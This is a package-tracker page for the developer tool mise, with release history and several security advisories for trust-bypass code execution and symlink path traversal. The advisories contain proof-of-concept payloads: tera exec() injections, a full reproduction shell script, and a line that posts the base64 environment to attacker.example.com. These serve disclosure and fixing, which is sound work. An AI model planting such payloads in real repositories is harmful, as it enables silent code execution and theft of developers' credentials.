mise

dev tools, env vars, task runner

View on Cargo

View on Github

Activity

Latest release: 1h ago
Total releases: 637
Cadence: ~daily
Last 12 months: 226

Reach

Downloads: 447.2k
Stars: 35.5k

Details

License: MIT
First release: Jan 02, 2024

Releases

Version	Released
`2026.10.23` patch	Oct 29, 2026
`2026.10.22` patch	Oct 28, 2026
`2026.10.21` patch	Oct 27, 2026
`2026.10.20` patch	Oct 26, 2026
`2026.10.19` patch	Oct 24, 2026
`2026.10.18` patch	Oct 23, 2026
`2026.10.17` patch	Oct 20, 2026
`2026.10.16` patch	Oct 20, 2026
`2026.10.15` patch	Oct 19, 2026
`2026.10.14` patch	Oct 18, 2026
`2026.10.13` patch	Oct 17, 2026
`2026.10.12` patch	Oct 16, 2026
`2026.10.11` patch	Oct 15, 2026
`2026.10.10` patch	Oct 14, 2026
`2026.10.9` patch	Oct 13, 2026
`2026.10.8` patch	Oct 11, 2026
`2026.10.7` patch	Oct 09, 2026
`2026.10.6` patch	Oct 09, 2026
`2026.10.5` patch	Oct 08, 2026
`2026.10.4` patch	Oct 07, 2026
`2026.10.3` patch	Oct 05, 2026
`2026.10.2` patch	Oct 04, 2026
`2026.10.1` patch	Oct 03, 2026
`2026.10.0` minor	Oct 01, 2026
`2026.9.18` patch	Sep 30, 2026
`2026.9.17` patch	Sep 29, 2026
`2026.9.16` patch	Sep 28, 2026
`2026.9.15` patch	Sep 27, 2026
`2026.9.14` patch	Sep 25, 2026
`2026.9.13` patch	Sep 24, 2026
`2026.9.12` patch	Sep 20, 2026
`2026.9.11` patch	Sep 17, 2026
`2026.9.10` patch	Sep 16, 2026
`2026.9.9` patch	Sep 15, 2026
`2026.9.8` patch	Sep 14, 2026
`2026.9.7` patch	Sep 13, 2026
`2026.9.6` patch	Sep 12, 2026
`2026.9.5` patch	Sep 10, 2026
`2026.9.4` patch	Sep 09, 2026
`2026.9.3` patch	Sep 08, 2026
`2026.9.2` patch	Sep 07, 2026
`2026.9.1` patch	Sep 02, 2026
`2026.9.0` minor	Sep 01, 2026
`2026.8.16` patch	Aug 31, 2026
`2026.8.15` patch	Aug 30, 2026
`2026.8.14` patch	Aug 25, 2026
`2026.8.13` patch	Aug 25, 2026
`2026.8.12` patch	Aug 24, 2026
`2026.8.11` patch	Aug 23, 2026
`2026.8.10` patch	Aug 20, 2026

1–50 of 637

Repository

jdx/mise

Forks: 1.5k
Open issues: 1
Language: Rust

Dependencies (150)

Depends on

2026.10.23

Supply-chain exposure

Known CVEs (6)

CVE-2026-103929 GHSA-g74g-rg72-j2p3 Oct 15, 2026

mise permits untrusted local configuration to override default shell arguments

7.8 / 10
High
Local Low None Required Unchanged High High High

Summary

Untrusted local .mise.toml [settings] can set the shell interpreter args (unix/windows default_inline / default_file shell_args), yielding arbitrary command execution, because those command-interpreter settings were not added to the global_only denylist the CVE-2026-55448 fix relies on. Code execution from an untrusted repository with no trust prompt for the malicious file, on par with the patched CVE. Confirmed at HEAD 7160170206782fdd3ef287c8302369e32152fb71.

The defect

CVE-2026-55448 and CVE-2026-35533 fixed the fact that a local project [settings] table is harvested by the settings preloader independent of the trust store (an untrusted .mise.toml sets settings without the user ever trusting it). The remediation is a per-field global_only denylist: settings marked global_only are stripped from non-global config. The maintainers marked the command-execution fields they knew about (the three forge credential_command values) but did not mark the four shell-interpreter-args settings, which are also command-execution settings because they choose the interpreter for every command mise spawns.

The global_only denylist and the gap. In settings.toml, the three credential_command sinks are global_only (forgejo.credential_command around line 775, github.credential_command around 828, gitlab.credential_command around 990). The four shell-args settings do not carry global_only:

unix_default_file_shell_args (settings.toml around 2920)

unix_default_inline_shell_args (around 2926)

windows_default_file_shell_args (around 3004)

windows_default_inline_shell_args (around 3010)

The strip logic only removes global_only keys. src/config/settings.rs strip_local_only_settings (line 409) filters by meta.global_only (line 416: filter_map(|(key, meta)| meta.global_only.then_some(*key))), so any field not marked global_only survives from a local untrusted config. The settings preload loads every config path including the local project file (all_settings_files, line 778), and in default (non-safe) mode there is no trust check (safe_mode defaults false, line 1141).

The sink. src/config/settings.rs default_inline_shell (line 1032) reads self.unix_default_inline_shell_args (line 1040), and default_file_shell reads unix_default_file_shell_args. Settings::get returns the merged global-plus-local value minus global_only, so the untrusted project value overrides the built-in default (sh -c -o errexit).

Injection semantics. The real command is appended after the attacker's args, so PAYLOAD runs and the real command is demoted to $0:

tera inline exec builtin: src/tera.rs (tera1_exec around 1358, and around 1470) builds shell[1..] + [command] with program = shell[0]. An attacker unix_default_inline_shell_args = "sh -c 'PAYLOAD'" yields sh -c 'PAYLOAD' .

postinstall runner: src/backend/mod.rs around 2405 calls cmd_body_args(shell_args, body); src/cmd.rs cmd_body_args (non-Windows, around 520) returns program flags... body, the same demotion.

task execution: src/task/task_executor.rs (around 916, 939, 993) uses task.shell()?.unwrap_or(default_inline_shell()/default_file_shell()), so a trusted task with no explicit shell (the common case) runs through the attacker's interpreter.

hooks: src/hooks.rs (around 540, 603) also fall back to default_inline_shell().

Attacker model and reachability

An untrusted repository the developer clones and cd's into. The attacker's .mise.toml sits in the working directory or any ancestor and is never trusted by the victim; its [settings] table is harvested by the preloader independent of the trust store, exactly as the two prior CVEs established. The executed command can come from a trusted or global source; only the interpreter is attacker-controlled. Any of these, run while the untrusted .mise.toml is in an ancestor directory, fires it: mise run for a task defined in the global config or a trusted parent repo (inline run, no explicit shell); mise install of any tool with a postinstall directive; any tera template that calls exec(...) in the victim's own trusted or global config; a directory-enter hook from any trusted config in scope.

Proof of concept. In an untrusted repo, .mise.toml:

[settings] unix_default_inline_shell_args = "sh -c 'id > /tmp/mise_pwned'"

The victim cd's in (does not trust the file) and later runs any global or trusted-parent task with no explicit shell, or mise install of a tool with a postinstall, or a config that renders {{ exec(...) }}. mise builds sh -c 'id > /tmp/mise_pwned' <realcommand>, so the payload runs.

Verification

Source-verified at HEAD: the four shell-args settings lack global_only while the credential_command sinks have it, strip_local_only_settings removes only global_only keys, default_inline_shell reads the setting, and the exec/postinstall/task paths append the real command after the attacker args. The load path is the same one two shipped CVEs already proved reachable. I did not run mise end to end.

Suggested fix

Mark all four default_shell_args settings global_only = true (the same treatment as credential_command), or flip the default-mode policy to an allowlist so any setting not explicitly known-safe is stripped from non-global config.

Secondary note (weaker, not the main finding): the CVE-2026-54557 path-sanitization fix added sanitize_install_version_name only inside the HTTP backend (src/backend/http.rs around 628), while the general path builder ToolVersion::tv_pathname (src/toolset/tool_version.rs around 292) still only replaces ':' and '/' and does not neutralize '..' or backslash. Impact is narrow (one level up, stays in the mise data dir on Unix), so this is a hardening note, not a primary finding.

Tooling

AI assistance was used while investigating, but the researcher read strip_local_only_settings (confirming it strips only global_only), the settings.toml entries (confirming the four shell-args settings lack global_only while credential_command has it), default_inline_shell (confirming it reads the setting), and the exec/postinstall/task invocation sites (confirming the real command is appended after the attacker args) themself at HEAD, so the incomplete fix is source-verified.

Fixed in

2026.7.14

References

https://github.com/jdx/mise/security/advisories/GHSA-g74g-rg72-j2p3
https://nvd.nist.gov/vuln/detail/CVE-2026-103929
https://github.com/jdx/mise/pull/11293
https://github.com/jdx/mise/commit/c6cd7a9a2ca580918562566126646e5d04317895
https://github.com/jdx/mise
https://github.com/jdx/mise/releases/tag/v2026.7.14

Updated Oct 15, 2026 · Source: OSV.dev
CVE-2026-55448 GHSA-29hf-rm4x-xxph Jun 23, 2026

Mise's local credential_command executes untrusted config

6.3 / 10
Medium
Local High None Required Unchanged High High None

Summary

mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.

The current command-execution path is github.credential_command. I confirmed in Docker that the setting is exploitable on v2026.3.15 and v2026.3.17, while v2026.3.14 rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from [settings.github].

Details

The vulnerable load order is:

Settings::try_get() preloads settings from local config files.

parse_settings_file() returns settings_file.settings without checking whether the local file is trusted.

resolve_token() checks settings.github.credential_command after the token env vars and before file-based sources.

get_credential_command_token() executes the value with sh -c.

The main command-execution path is:

let result = std::process::Command::new("sh") .arg("-c") .arg(cmd) .arg("mise-credential-helper") .arg(host) .output()

If a local project file sets:

[settings.github] credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

then resolve_token() will reach get_credential_command_token() whenever higher-priority GitHub token environment variables are unset. credential_command is a documented custom credential source for mise, but it is also accepted from a local project .mise.toml, which lets an untrusted repository supply a shell command for mise to execute.

PoC

Test environment:

Docker

linux-arm64

mise v2026.3.17

Negative control:

export GITHUB_TOKEN=env_token mise github token --unmask

Observed:

github.com: env_token (source: GITHUB_TOKEN) /tmp/mise-proof.txt => missing

Primary exploit:

[settings.github] credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

Run:

unset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN mise github token --unmask

Observed:

github.com: ghp_fake_token (source: credential_command)

And the side effect file is created:

/tmp/mise-proof.txt => credential_command_rce

Related version check:

v2026.3.14: credential_command is rejected as an unknown field

v2026.3.15: the same PoC executes and returns source: credential_command

Impact

An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.

Demonstrated impact:

arbitrary command execution as the victim user

no trust prompt

no need for [env], [hooks], tasks, or templates

Important limitation:

if a higher-priority GitHub token environment variable is already set, the credential_command path is not reached

Suggested Fix

Do not honor github.credential_command from non-global project config files.

For example, inside parse_settings_file():

pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> { let raw = file::read_to_string(path)?; let settings_file: SettingsFile = toml::from_str(&raw)?; let mut settings = settings_file.settings; if !config::is_global_config(path) { settings.github.credential_command = None; } Ok(settings) }

Fixed in

2026.6.4

References

https://github.com/jdx/mise/security/advisories/GHSA-29hf-rm4x-xxph
https://github.com/jdx/mise

Updated Jun 23, 2026 · Source: OSV.dev
CVE-2026-55441 GHSA-77g9-363w-rccq Jun 23, 2026

Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository

8.6 / 10
High
Local Low None Required Changed High High High

Summary

mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task

Details

Trust is enforced only inside config-file parsing:

src/config/config_file/mise_toml.rs:276 — MiseToml::from_str → trust_check(path)?

src/config/config_file/tool_versions.rs:62 — .tool-versions parser → trust_check(&path)?

src/config/env_directive/mod.rs:681 — env templates → trust_check(path)? (only when the value contains template syntax)

Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context, which walk every directory from CWD up to root. For each directory, configs_at_root returns the parsed (trusted) configs rooted there; if there is no config in the directory, mise falls back to the default task-include list resolved relative to that directory and loads whatever it finds — with no trust check:

src/config/mod.rs (load_tasks_in_dir, ~2586):

let (includes, resolve_dir) = configs .iter() .find_map(|cf| match cf.task_config_includes() { … }) .transpose()? .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes … for include in &includes { let paths = … expand_task_include(&resolve_dir, include); for p in paths { let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?; … } }

default_task_includes() (src/config/mod.rs:1825):

vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]

load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check and renders each task:

let raw = file::read_to_string_async(path).await?; let mut tasks = toml::from_str::<Tasks>(&raw) … ; // no trust_check … resolve_task_template(&mut task, templates)?; if let Err(err) = task.render(config, &config_root).await { … } // renders tera, incl. exec()

Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera instance is built with get_tera(Some(config_root)):

let mut tera = get_tera(Some(config_root)); … if contains_template_syntax(&self.description) { self.description = render_str(&mut tera, &self.description, &tera_ctx)?; }

get_tera (src/tera.rs:407) registers the command-executing functions:

pub fn get_tera(dir: Option<&Path>) -> Tera { let mut tera = TERA.clone(); let dir = dir.map(PathBuf::from); tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone())); tera.register_function("read_file", tera_read_file(dir)); tera }

So a tera {{ exec(command='…') }} placed in any rendered task field (description, dir, shell, sources, aliases, depends, tools, …) of a TOML task file — or in a #MISE description="…" header of an executable script task (Task::from_path) — executes when the task is merely loaded for listing, with no trust prompt. exec() is not gated by experimental (default experimental = false).

Proof of concept

Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a pristine HOME so nothing is pre-trusted.

Repo layout :

malicious-repo/ └── mise-tasks/ └── ci.toml

mise-tasks/ci.toml:

[test] description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}" run = "cargo test"

Trigger (any of these; a victim who has mise activate set up hits the last one by just pressing Tab to complete a task name):

export HOME="$(mktemp -d)" # nothing pre-trusted export MISE_TRUSTED_CONFIG_PATHS="" cd malicious-repo mise tasks # or: mise task ls / mise run / mise tasks --usage

output:

test

and the side effect :

miau@linux:~$ cat /tmp/mise_clone_proof.txt uid=1000(miau) gid=1000(miau) groups=1000(miau)… linux

Fixed in

2026.6.4

References

https://github.com/jdx/mise/security/advisories/GHSA-77g9-363w-rccq
https://github.com/jdx/mise

Updated Jun 23, 2026 · Source: OSV.dev

CVE-2026-54557 GHSA-f94h-j2qg-fxw3 Jun 23, 2026

mise HTTP backend uses raw version path for install symlink destination

5.5 / 10

Medium

Local Low None Required Unchanged None High None

Summary

The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, PathBuf::join discards the intended mise installs root.

A repository-controlled .tool-versions file can therefore make mise install create a symlink outside the mise install tree. With bin_path, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to PATH.

The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local PATH prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted PATH command.

Affected Code

In src/backend/http.rs, create_install_symlink() derives the destination path from raw tv.version:

let version_name = if tv.version == "latest" || tv.version.is_empty() {
    &cache_key[..7.min(cache_key.len())]
} else {
    &tv.version
};

let install_path = tv.ba().installs_path.join(version_name);

ToolVersion::tv_pathname() already sanitizes : and / for filesystem version directory names, but this HTTP backend path does not use it.

Impact

Proven:

Outside-root symlink creation from a repository-controlled .tool-versions entry.
Executable symlink materialization under an attacker-selected absolute prefix when bin_path is configured.
The executable symlink can be run if that prefix's bin directory is on PATH.
Replacement of a preexisting command in a trusted PATH prefix in a local workflow-chain model, followed by execution of the replaced command by name.

Not claimed:

mise install does not automatically execute the placed binary in the reproducer.
Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior.
Credential theft is not claimed.

Why This Crosses A Boundary

.tool-versions is an asdf-compatible project file and is parsed without the mise.toml trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation.

The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example:

$MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/...

The observed behavior instead allows the project version string to choose an absolute install destination.

Reproduction

The script below performs three local checks:

It creates a .tool-versions entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path.
It creates a second HTTP backend entry with bin_path=bin and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix's bin directory is on PATH.
It creates a preexisting trusted command in a user-local PATH prefix, runs mise install from a project .tool-versions file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place.

The script uses a loopback HTTP server and temporary directories only.

#!/bin/sh
set -eu

if ! command -v mise >/dev/null 2>&1; then
  echo "mise must be on PATH" >&2
  exit 1
fi

if ! command -v python3 >/dev/null 2>&1; then
  echo "python3 must be on PATH for the loopback HTTP server" >&2
  exit 1
fi

ROOT="$(mktemp -d)"
OUT="$ROOT/out"
DATA="$ROOT/data"
CACHE="$ROOT/cache"
STATE="$ROOT/state"
CONFIG="$ROOT/config"
WWW="$ROOT/www"

cleanup() {
  if [ -n "${SERVER_PID:-}" ]; then
    kill "$SERVER_PID" 2>/dev/null || true
  fi
  rm -rf "$ROOT"
}
trap cleanup EXIT

mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW"

cat > "$WWW/payload" <<'PAYLOAD'
#!/bin/sh
if [ -n "${CHAIN_MARKER:-}" ]; then
  echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER"
else
  echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER"
fi
PAYLOAD
chmod +x "$WWW/payload"

(
  cd "$WWW"
  python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1
) &
SERVER_PID=$!
sleep 1

PROJECT1="$ROOT/project-host-write"
mkdir -p "$PROJECT1"
cat > "$PROJECT1/.tool-versions" <<EOF1
http:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link
EOF1

(
  cd "$PROJECT1"
  MISE_DATA_DIR="$DATA" \
  MISE_CACHE_DIR="$CACHE" \
  MISE_STATE_DIR="$STATE" \
  MISE_CONFIG_DIR="$CONFIG" \
  MISE_YES=1 \
  mise install --yes
)

if [ ! -L "$OUT/owned-link" ]; then
  echo "FAIL: outside symlink was not created" >&2
  exit 1
fi

PROJECT2="$ROOT/project-bin-path"
mkdir -p "$PROJECT2"
cat > "$PROJECT2/.tool-versions" <<EOF2
http:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix
EOF2

rm -rf "$DATA" "$CACHE" "$STATE" "$CONFIG"
mkdir -p "$DATA" "$CACHE" "$STATE" "$CONFIG"

(
  cd "$PROJECT2"
  MISE_DATA_DIR="$DATA" \
  MISE_CACHE_DIR="$CACHE" \
  MISE_STATE_DIR="$STATE" \
  MISE_CONFIG_DIR="$CONFIG" \
  MISE_YES=1 \
  mise install --yes
)

if [ ! -L "$OUT/selected-prefix/bin/ownedcmd" ]; then
  echo "FAIL: executable symlink was not created under selected prefix" >&2
  exit 1
fi

MARKER="$OUT/executed-marker"
MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \
PATH="$OUT/selected-prefix/bin:$PATH" \
ownedcmd

if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then
  echo "FAIL: executable symlink did not run" >&2
  exit 1
fi

echo "VULNERABLE_BEHAVIOR_CONFIRMED"
echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")"
echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")"

run_path_chain_case() {
  case_name="$1"
  version="$2"
  expected="$3"

  CASE_ROOT="$ROOT/$case_name"
  HOME_DIR="$CASE_ROOT/home"
  CASE_DATA="$CASE_ROOT/data"
  CASE_CACHE="$CASE_ROOT/cache"
  CASE_STATE="$CASE_ROOT/state"
  CASE_CONFIG="$CASE_ROOT/config"
  CASE_PROJECT="$CASE_ROOT/project"
  CASE_MARKER="$CASE_ROOT/marker"

  if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then
    version="$HOME_DIR/.local"
  fi

  mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT"
  cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE'
#!/bin/sh
echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER"
SAFE
  chmod +x "$HOME_DIR/.local/bin/trustedcmd"

  cat > "$CASE_PROJECT/.tool-versions" <<EOF3
http:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version
EOF3

  (
    cd "$CASE_PROJECT"
    HOME="$HOME_DIR" \
    MISE_DATA_DIR="$CASE_DATA" \
    MISE_CACHE_DIR="$CASE_CACHE" \
    MISE_STATE_DIR="$CASE_STATE" \
    MISE_CONFIG_DIR="$CASE_CONFIG" \
    MISE_YES=1 \
    mise install --yes
  )

  CHAIN_MARKER="$CASE_MARKER" \
  PATH="$HOME_DIR/.local/bin:$PATH" \
  trustedcmd

  observed="$(cat "$CASE_MARKER")"
  if [ "$observed" != "$expected" ]; then
    echo "FAIL: $case_name expected $expected but saw $observed" >&2
    exit 1
  fi

  if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then
    echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2
    exit 1
  fi
}

run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND
run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND

echo "PATH_CHAIN_CONFIRMED"

Expected vulnerable markers:

VULNERABLE_BEHAVIOR_CONFIRMED
PATH_CHAIN_CONFIRMED

Candidate Fix

Use tv.tv_pathname() for non-latest HTTP install symlink names, preserving the current content-addressed behavior for latest or empty versions.

diff --git a/src/backend/http.rs b/src/backend/http.rs
index 4e4e972..18cf8a1 100644
--- a/src/backend/http.rs
+++ b/src/backend/http.rs
@@ -518,12 +518,12 @@ impl HttpBackend {

         // Determine version name for install path
         let version_name = if tv.version == "latest" || tv.version.is_empty() {
-            &cache_key[..7.min(cache_key.len())] // Content-based versioning
+            cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning
         } else {
-            &tv.version
+            tv.tv_pathname()
         };

-        let install_path = tv.ba().installs_path.join(version_name);
+        let install_path = tv.ba().installs_path.join(&version_name);

         // Clean up existing install
         if install_path.exists() {
@@ -839,3 +839,51 @@ impl Backend for HttpBackend {
         }
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::cli::args::{BackendArg, BackendResolution};
+    use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions};
+
+    fn http_test_tv(version: &str) -> ToolVersion {
+        let backend = Arc::new(BackendArg::new_raw(
+            "http-absolute-version".to_string(),
+            Some("http:absolute-version".to_string()),
+            "absolute-version".to_string(),
+            None,
+            BackendResolution::new(true),
+        ));
+        let request = ToolRequest::Version {
+            backend,
+            version: version.to_string(),
+            options: ToolVersionOptions::default(),
+            source: ToolSource::Argument,
+        };
+        ToolVersion::new(request, version.to_string())
+    }
+
+    #[test]
+    fn install_symlink_path_uses_sanitized_version_pathname() {
+        let tv = http_test_tv("/outside-root/mise-http-version-out/selected-prefix");
+
+        assert_eq!(
+            tv.tv_pathname(),
+            "-outside-root-mise-http-version-out-selected-prefix"
+        );
+        assert!(!Path::new(&tv.tv_pathname()).is_absolute());
+    }
+
+    #[test]
+    fn latest_install_symlink_still_uses_content_version() {
+        let tv = http_test_tv("latest");
+        let cache_key = "abcdef123456";
+        let version_name = if tv.version == "latest" || tv.version.is_empty() {
+            cache_key[..7.min(cache_key.len())].to_string()
+        } else {
+            tv.tv_pathname()
+        };
+
+        assert_eq!(version_name, "abcdef1");
+    }
+}

Reporter: JUNYI LIU

Fixed in


          2026.6.1

References

Updated Jul 21, 2026 · Source: OSV.dev

CVE-2026-33646 GHSA-fjj5-v948-whjj Jun 22, 2026

Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)

9.6 / 10
Critical
Network Low None Required Changed High High High

Summary

Mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt.

Vulnerability Details

Vulnerable Code

File: src/config/config_file/tool_versions.rs, lines 60-63

pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> { let mut cf = Self::init(&path); let dir = path.parent(); let s = get_tera(dir).render_str(s, &cf.context)?; // <-- No trust check // ... }

File: src/tera.rs, lines 385-391

pub fn get_tera(dir: Option<&Path>) -> Tera { let mut tera = TERA.clone(); let dir = dir.map(PathBuf::from); tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone())); tera.register_function("read_file", tera_read_file(dir)); tera }

File: src/tera.rs, lines 394-452 -- tera_exec passes the command argument to a shell for execution with no restrictions.

File: src/config/config_file/mod.rs, lines 272-287

pub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> { if let Ok(settings) = Settings::try_get() && settings.paranoid { trust_check(path)?; // Only in paranoid mode! } match detect_config_file_type(path).await { // ... Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)), // ... } }

Attack Vector

An attacker creates a .tool-versions file in a git repository containing Tera template syntax with the exec() function.

The victim clones the repository and has mise activated in their shell (via eval "$(mise activate zsh)" or equivalent).

When the victim cds into the repository directory, mise's shell hook (hook-env) fires automatically.

hook-env loads and parses config files, including .tool-versions.

During parsing, ToolVersions::parse_str processes the file content through get_tera(dir).render_str().

The Tera engine evaluates {{ exec(command="...") }}, executing arbitrary commands as the victim's user.

No trust prompt is displayed because trust_check is not called for .tool-versions files in non-paranoid mode.

Execution Context

Commands execute as the current user with full access to their environment.

The pristine environment (env::PRISTINE_ENV) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.).

Execution happens silently during the prompt hook -- the user sees no indication that code was run.

Contrast with .mise.toml

.mise.toml files are protected: MiseToml::from_str() calls trust_check(path) before any parsing occurs (line 213 of mise_toml.rs). During hook-env, untrusted .mise.toml files fail to parse with an UntrustedConfig error, preventing any code execution. .tool-versions files lack this protection entirely.

Steps to Reproduce

Prerequisites

mise installed (brew install mise or equivalent)

Shell activation enabled: eval "$(mise activate zsh)" (or bash/fish)

Default settings (paranoid mode NOT enabled — this is the default)

PoC: Silent RCE on cd

Step 1: Create a directory simulating a cloned repository with a malicious .tool-versions:

mkdir -p /tmp/poc-mise-repo cd /tmp/poc-mise-repo git init cat > .tool-versions << 'EOF' {{ exec(command="id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof") }}node 20.0.0 python 3.11.0 EOF git add -A && git commit -m "Initial commit"

Note: The exec() output is concatenated with node so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the exec() returns an empty string, making the line evaluate to node 20.0.0.

Step 2: In a new shell with mise activated, enter the directory:

eval "$(mise activate zsh)" cd /tmp/poc-mise-repo

Step 3: Verify arbitrary code execution:

cat /tmp/mise-rce-proof

Expected output:

uid=501(youruser) gid=20(staff) groups=20(staff),... SUCCESS=youruser Mon Mar 16 21:34:46 IST 2026

No trust prompt, no warning, no error output. The id command executed silently as the current user.

Validated Test Results

Tested on 2026-03-16 with:

mise 2026.3.9 macos-arm64

macOS Darwin 24.5.0 arm64

zsh 5.9

Paranoid mode: false (default)

Test 1 — .tool-versions (no trust check):

$ rm -f /tmp/mise-rce-proof $ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-repo && pwd' /tmp/poc-mise-repo $ cat /tmp/mise-rce-proof uid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),... SUCCESS=golan Mon Mar 16 21:34:46 IST 2026

Command executed silently. No trust prompt. No errors.

Test 2 — .mise.toml with same payload (trust check blocks execution):

$ mkdir -p /tmp/poc-mise-toml $ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF' [tools] node = "{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0" TOMLEOF $ rm -f /tmp/mise-hook-pwned $ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-toml && pwd' mise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted. Trust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html $ cat /tmp/mise-hook-pwned cat: /tmp/mise-hook-pwned: No such file or directory

.mise.toml correctly blocked by trust verification. .tool-versions bypasses it entirely.

Alternative PoC (data exfiltration)

{{ exec(command="curl -s -X POST -d \"$(env | base64)\" https://attacker.example.com/collect -o /dev/null") }}python 3.11.0

Impact

Arbitrary code execution on any machine where a user with mise activated enters a directory containing a malicious .tool-versions file.

Supply chain attack vector: .tool-versions is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.

Silent execution: No trust prompt, warning, or user interaction required.

Full user privilege escalation: Commands run with the full privileges and environment of the current user.

Credential theft: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.

Widespread potential impact: Any open-source project with a .tool-versions file could be targeted. A malicious PR adding tera syntax to an existing .tool-versions file could execute code on all reviewers' machines.

Suggested Fix

Option 1: Add trust_check to .tool-versions parsing (recommended)

